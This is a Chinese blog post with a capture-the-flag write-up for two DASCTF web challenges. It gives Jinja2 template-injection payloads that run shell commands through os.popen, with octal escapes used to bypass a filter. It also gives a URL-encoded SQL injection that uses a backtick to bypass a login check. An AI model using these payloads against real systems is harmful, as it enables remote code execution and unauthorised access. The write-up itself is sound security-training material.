首页 > 其他分享 >DASCTF --wp--web

DASCTF --wp--web

时间:2025-01-19 16:24:28浏览次数:1  
标签:username web DASCTF -- res phone info __ password

1、Rank-l

Ssti的报错查询

cycler没用被禁用,很常规的到达popen阶段

{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

正常在浏览器中无法查看,使用python

import requests

with requests.Session() as session:

    url_phone = 'http://139.155.126.78:25977/'

    data_phone = {'phone_number':'123456789'}

    response_phone = session.post(url_phone, data=data_phone)

    if response_phone.status_code == 200:

        print("First request succeeded.")

        print("Response from first request:")

        print(response_phone.text)

    else:

        print(f"First request failed with status code {response_phone.status_code}")

    url_password = 'http://139.155.126.78:25977/cpass'

    data_password = {'password': '123456'}

    response_password = session.post(url_password, data=data_password)

    if response_password.status_code == 200:

        print("Second request succeeded.")

        print("Response from second request:")

        print(response_password.text)

    else:

        print(f"Second request failed with status code {response_password.status_code}")

随便填写password和number,在浏览器中输入后用py查询即可看到完整的弹窗内容

成功执行,但是访问根目录无法执行,可能存在字符限制,用八进制绕过

{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('$(printf "\154\163\40\57")').read()}}

Cat出不来,用rev f*成功得到

{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('$(printf "\162\145\166\40\57\146\52")').read()}}

2、sqli or not

查看源码:

var express = require('express');

var router = express.Router();

module.exports = router;

router.get('/',(req,res,next)=>{

    if(req.query.info){

        if(req.url.match(/\,/ig)){

            res.end('hacker1!');

        }

        var info = JSON.parse(req.query.info);

        if(info.username&&info.password){

            var username = info.username;

            var password = info.password;

            if(info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)){

                res.end('hacker2!');

            }

            var sql = "select * from userinfo where username = '{username}' and password = '{password}'";

            sql = sql.replace("{username}",username);

            sql = sql.replace("{password}",password);

            connection.query(sql,function (err,rs) {

            if (err) {

                res.end('error1');

            }

            else {

                if(rs.length>0){

                res.sendFile('/flag');

                }else {

                res.end('username or password error');

                }

            }

            })

        }

        else{

            res.end("please input the data");

        }

       

}

    else{

        res.end("please input the data");

    }

})

很常见的sqli漏洞

重点在于两次过滤和单引号的闭合

第一次过滤可以用url编码绕过

第二次过滤限制了常见闭合单引号的手段,

这里可以利用mysql的特性

当SQL解析器遇到$和反引号时,它会将反引号内的内容视为一个整体,而不会将其作为字符串的一部分进行处理。

所以这里可以用{"username":"$`+or+1=1%23"%2C"password":"123"}

Url编码绕过第一个hacker

语句也成功避开了第二个hacker的内容

并且由于反引号没有闭合,会把后面的一大堆全部当做语句,这里的反引号内的内容是+or+1=1#"...., #后的内容就可以无视了

+or+1=1#"这部分内容中,1=1永远为真。#号可以忽略掉原本用于闭合username字段值的单引号。因此,最终SQL语句的执行效果相当于select * from userinfo where username = '$+or+1=1' and password = '123',其中$和反引号内的+or+1=1使得条件永远为真,从而绕过了对username和password的严格匹配验证。只要数据库中存在任何记录,rs.length就会大于0,从而触发res.sendFile('/flag'),导致服务器发送flag。

标签:username,web,DASCTF,--,res,phone,info,__,password
From: https://www.cnblogs.com/Yakas-sorin/p/18679638

相关文章

  • 推荐一款非常好用的在线 SSH 管理工具
    前言SSH工具在远程连接、文件传输、远程管理和增强安全性等方面发挥着重要作用,是我们开发人员和系统管理员不可或缺的工具。今天大姚给大家推荐一款非常好用的在线SSH管理工具:Xterminal。工具介绍Xterminal一个好用的在线SSH、SFTP工具,支持跨平台(Windows、Linux、MacOS)运行,......
  • Cecil修改UnityDll,不使用反射就能调用internal的函数
    简介在UnityEditor开发过程中,我们会经常使用反射调用一些unity还没开放的接口,比如s_LastControlID,但每个程序集都写一边反射不免显得有些麻烦。本篇文章将介绍注入InternalsVisibleToAttribute注解到unitydll的方法,来帮助大家更便捷地调用unity的内部函数。思路Internals......
  • java变量及八大基本数据类型的定义
    变量变量是什么:就是可以变化的量!java是一种强类型语言,每个变量都必须声明其类型java变量是程序中最基本的存储单元,其中要素包括变量名,变量类型,作用域注意事项每个变量都有类型,类型可以是基本类型,也可以是引用类型变量名必须是合法的标识符变量声明是一条完整的语句,因此......
  • 2025 #1 我依然怕先行者放弃了导航 奉献者悔恨起坚守过信条
    T1.P4262[Code+#3]白金元首与莫斯科\(n\timesm\)的棋盘上有一些障碍格,对于每一个非障碍格,需要求出若该格为障碍格,用\(1\times2\)的砖铺满棋盘的方案数。其中\(1\len,m\le17\)。看到这一种比较抽象的网格上的题目,可以考虑使用插头dp来解决。对于一个\(1\ti......
  • ATF引导启动流程整理-Part2:BL1引导启动流程整理
    接上一章的介绍,本文详细整理一下BL1阶段的流程Ch3:ATF启动流程上面一章简单的介绍了ATF的隔离和划分,下面就介绍一下使用ATF初始启动的流程。ARMv8的启动流程包含多个阶段,典型的官方定义的标志阶段包括BL1、BL2、BL31、BL32、BL33,根据不同需求这些阶段可以添加或者裁剪。......
  • 深入理解唯一约束:确保数据完整性的关键因素
    title:深入理解唯一约束:确保数据完整性的关键因素date:2025/1/19updated:2025/1/19author:cmdragonexcerpt:在关系数据库中,唯一约束是一种重要的数据库约束,用于确保表中某一列或多列的值是唯一的,从而防止重复数据的出现。唯一约束不仅提高了数据的完整性和一致性,还在......
  • AGC018
    AGC018B题目大意举办一场运动会,有\(N\)人,\(M\)个项目,每个人所有项目都有一个排名,会选择参加排名最高且开设的项目,现在要开设若干项目使得人数最多的项目人数尽可能小,求这个最小值。解题思路考虑贪心。一开始,我们不妨开设所有项目,设人数最多的项目为\(x\)。如果我们不关......
  • 模拟
    天梯赛使用OMS监考系统,需要将参赛队员安排到系统中的虚拟赛场里,并为每个赛场分配一位监考老师。每位监考老师需要联系自己赛场内队员对应的教练们,以便发放比赛账号。为了尽可能减少教练和监考的沟通负担,我们要求赛场的安排满足以下条件:每位监考老师负责的赛场里,队员人数不得超......
  • Markdown学习
    Markdown学习标题三级标题四级标题字体Hello,world!Hello,world!Hello,world!Hello,world!引用选择狂神说Java,走向人生巅峰分割线图片超链接[点击跳转到我的博客]()列表asdads表格名字性别生日张三男1997.1.1代码......
  • Redis安装
    文章首发在我的博客:https://blog.liuzijian.com/post/62299bca-35ea-4518-99fb-bbe8672021cc.html使用RockyLinuxrelease9.5环境编译安装Redis-7.2.61.下载官方GitHub地址https://github.com/redis下载7.2.6版本源码到服务器cd/optwgethttps://github.com/redis/red......